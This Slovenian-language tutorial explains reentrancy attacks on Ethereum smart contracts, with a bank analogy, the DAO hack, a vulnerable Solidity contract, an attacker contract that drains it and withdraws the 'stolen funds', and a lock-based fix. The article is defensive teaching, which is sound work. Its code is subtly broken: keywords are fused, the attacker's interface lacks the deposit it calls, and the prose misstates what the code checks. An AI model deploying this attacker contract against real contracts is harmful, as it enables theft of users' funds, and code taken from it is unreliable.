Evo, kako poteka eden najpogostejših vdorov v pametno pogodbo, ki je podjetja Web 3 stal milijone ...
Nekateri največji vdori v industriji blockchain, kjer so bili ukradeni žetoni kriptovalut v vrednosti milijonov dolarjev, so bili posledica napadov ponovnega vstopa. Čeprav so ti vdori v zadnjih letih postali manj pogosti, še vedno predstavljajo veliko grožnjo za aplikacije in uporabnike verige blokov.
Torej, kaj točno so napadi ponovnega vstopa? Kako so razporejeni? In ali lahko razvijalci sprejmejo kakšne ukrepe, da preprečijo, da bi se to zgodilo?
Kaj je napad ponovnega vstopa?
Napad ponovnega vstopa se zgodi, ko ranljiva funkcija pametne pogodbe naredi zunanji klic zlonamerni pogodbi, s čimer začasno opusti nadzor nad transakcijskim tokom. Zlonamerna pogodba nato večkrat pokliče prvotno funkcijo pametne pogodbe, preden konča z izvajanjem, medtem ko črpa njena sredstva.
V bistvu transakcija dviga v verigi blokov Ethereum sledi ciklu treh korakov: potrditev stanja, nakazilo in posodobitev stanja. Če lahko kibernetski kriminalec ugrabi cikel pred posodobitvijo stanja, lahko večkrat dvigne sredstva, dokler se denarnica ne izprazni.
Eden najbolj razvpitih vdorov v blockchain, vdor v Ethereum DAO, kot je opisano v Coindesk, je bil napad ponovnega vstopa, ki je povzročil izgubo eth v vrednosti več kot 60 milijonov dolarjev in temeljito spremenil potek druge največje kriptovalute.
Kako deluje napad ponovnega vstopa?
Predstavljajte si banko v domačem kraju, kjer vrli domačini hranijo svoj denar; njegova skupna likvidnost je 1 milijon dolarjev. Vendar ima banka napačen računovodski sistem – uslužbenci čakajo do večera, da posodobijo bančna stanja.
Vaš prijatelj vlagatelj obišče mesto in odkrije računovodsko napako. Ustvari račun in položi 100.000 $. Dan kasneje dvigne 100.000 $. Po eni uri ponovno poskusi dvigniti 100.000 $. Ker banka ni posodobila njegovega stanja, še vedno znaša 100.000 $. Torej dobi denar. To počne večkrat, dokler ne zmanjka denarja. Uslužbenci ugotovijo, da ni denarja šele, ko zvečer poravnajo knjige.
V kontekstu pametne pogodbe je postopek naslednji:
- Kibernetski kriminalec identificira pametno pogodbo "X" z ranljivostjo.
- Napadalec sproži zakonito transakcijo ciljni pogodbi X, da pošlje sredstva zlonamerni pogodbi Y. Med izvajanjem Y pokliče ranljivo funkcijo v X.
- Izvajanje pogodbe X je začasno ustavljeno ali odloženo, ker pogodba čaka na interakcijo z zunanjim dogodkom
- Medtem ko je izvajanje začasno ustavljeno, napadalec večkrat pokliče isto ranljivo funkcijo v X in znova sproži njeno izvajanje čim večkrat
- Z vsakim ponovnim vstopom se stanje pogodbe manipulira, kar napadalcu omogoči črpanje sredstev iz X v Y
- Ko so sredstva izčrpana, se ponovni vstop ustavi, X-ova odložena izvedba se končno zaključi in stanje pogodbe se posodobi glede na zadnji ponovni vstop.
Na splošno napadalec uspešno izkoristi ranljivost ponovnega vstopa v svojo korist in ukrade sredstva iz pogodbe.
Primer ponovnega vstopnega napada
Torej, kako natančno bi se napad ponovnega vstopa lahko tehnično zgodil, ko je uveden? Tukaj je hipotetična pametna pogodba s prehodom za ponovni vstop. Za lažje sledenje bomo uporabili aksiomatsko poimenovanje.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
The VulnerableContract uporabnikom omogoča vplačilo eth v pogodbo z uporabo depozit funkcijo. Uporabniki lahko nato dvignejo svoj deponirani eth z uporabo dvigniti funkcijo. Vendar pa obstaja ranljivost ponovnega vstopa v dvigniti funkcijo. Ko uporabnik odstopi, pogodba nakaže zahtevani znesek na uporabnikov naslov, preden posodobi stanje, kar ustvari priložnost, ki jo lahko napadalec izkoristi.
Tukaj je, kako bi izgledala pametna pogodba napadalca.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Ko se napad začne:
- The AttackerContract prevzame naslov VulnerableContract v svojem konstruktorju in ga shrani v vulnerableContract spremenljivka.
- The napad funkcijo pokliče napadalec in vloži nekaj eth v VulnerableContract uporabljati depozit funkcijo in nato takoj pokličete dvigniti funkcija VulnerableContract.
- The dvigniti funkcijo v VulnerableContract prenese zahtevano količino eth napadalcu AttackerContract pred posodobitvijo stanja, a ker je napadalčeva pogodba med zunanjim klicem začasno ustavljena, funkcija še ni dokončana.
- The prejeti funkcijo v AttackerContract se sproži, ker VulnerableContract poslal eth v to pogodbo med zunanjim klicem.
- Funkcija sprejema preveri, ali je AttackerContract stanje vsaj 1 ether (znesek za dvig), nato ponovno vstopi v VulnerableContract s klicanjem svojega dvigniti znova delovati.
- Tretji do peti korak ponavljajte, dokler VulnerableContract zmanjka sredstev in napadalčeva pogodba zbere precejšnjo količino eth.
- Končno lahko napadalec pokliče umakne ukradena sredstva funkcijo v AttackerContract ukrasti vsa sredstva, zbrana v njuni pogodbi.
Napad se lahko zgodi zelo hitro, odvisno od zmogljivosti omrežja. Pri vključevanju zapletenih pametnih pogodb, kot je DAO Hack, ki je privedel do hard forka Ethereuma v Ethereum in Ethereum Classic, napad traja več ur.
Kako preprečiti napad ponovnega vstopa
Da preprečimo napad ponovnega vstopa, moramo spremeniti ranljivo pametno pogodbo, da bo sledila najboljšim praksam za varen razvoj pametne pogodbe. V tem primeru bi morali implementirati vzorec "preverjanja-učinki-interakcije", kot je prikazano v spodnji kodi.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
V tej fiksni različici smo predstavili je zaklenjen preslikavo za sledenje, ali je določen račun v postopku dviga. Ko uporabnik sproži dvig, pogodba preveri, ali je njegov račun zaklenjen (!isLocked[msg.sender]), kar pomeni, da trenutno ni v teku noben drug dvig z istega računa.
Če račun ni zaklenjen, se pogodba nadaljuje s spremembo stanja in zunanjo interakcijo. Po spremembi stanja in zunanji interakciji se račun znova odklene, kar omogoča prihodnje dvige.
Vrste napadov ponovnega vstopa
Na splošno obstajajo tri glavne vrste napadov ponovnega vstopa glede na njihovo naravo izkoriščanja.
- Napad z enim ponovnim vstopom: V tem primeru je ranljiva funkcija, ki jo napadalec večkrat kliče, ista tista, ki je dovzetna za prehod za ponovni vstop. Zgornji napad je primer enega samega ponovnega vstopa, ki ga je mogoče zlahka preprečiti z izvajanjem ustreznih preverjanj in zaklepanja kode.
- Navzkrižni napad: V tem scenariju napadalec izkoristi ranljivo funkcijo, da pokliče drugo funkcijo znotraj iste pogodbe, ki si deli stanje z ranljivo funkcijo. Druga funkcija, ki jo kliče napadalec, ima nekaj želenega učinka, zaradi česar je bolj privlačna za izkoriščanje. Ta napad je bolj zapleten in ga je težje odkriti, zato so za njegovo ublažitev potrebna stroga preverjanja in zaklepanja medsebojno povezanih funkcij.
- Napad navzkrižne pogodbe: Do tega napada pride, ko zunanja pogodba sodeluje z ranljivo pogodbo. Med to interakcijo se stanje ranljive pogodbe prikliče v zunanjo pogodbo, preden se v celoti posodobi. Običajno se zgodi, ko več pogodb deli isto spremenljivko in nekatere posodabljajo spremenljivko v skupni rabi nevarno. Varni komunikacijski protokoli med pogodbami in periodičnimi revizije pametnih pogodb je treba izvesti za ublažitev tega napada.
Napadi ponovnega vstopa se lahko kažejo v različnih oblikah in zato zahtevajo posebne ukrepe za preprečevanje vsakega.
Zaščita pred napadi ponovnega vstopa
Napadi ponovnega vstopa so povzročili znatne finančne izgube in spodkopali zaupanje v aplikacije blockchain. Za zaščito pogodb morajo razvijalci vestno sprejeti najboljše prakse, da se izognejo ranljivostim ponovnega vstopa.
Prav tako bi morali izvajati varne vzorce dvigov, uporabljati zaupanja vredne knjižnice in izvajati temeljite revizije, da bi dodatno okrepili obrambo pametne pogodbe. Seveda lahko obveščanje o nastajajočih grožnjah in proaktivnost pri varnostnih prizadevanjih zagotovita, da podpirajo tudi celovitost ekosistemov blockchain.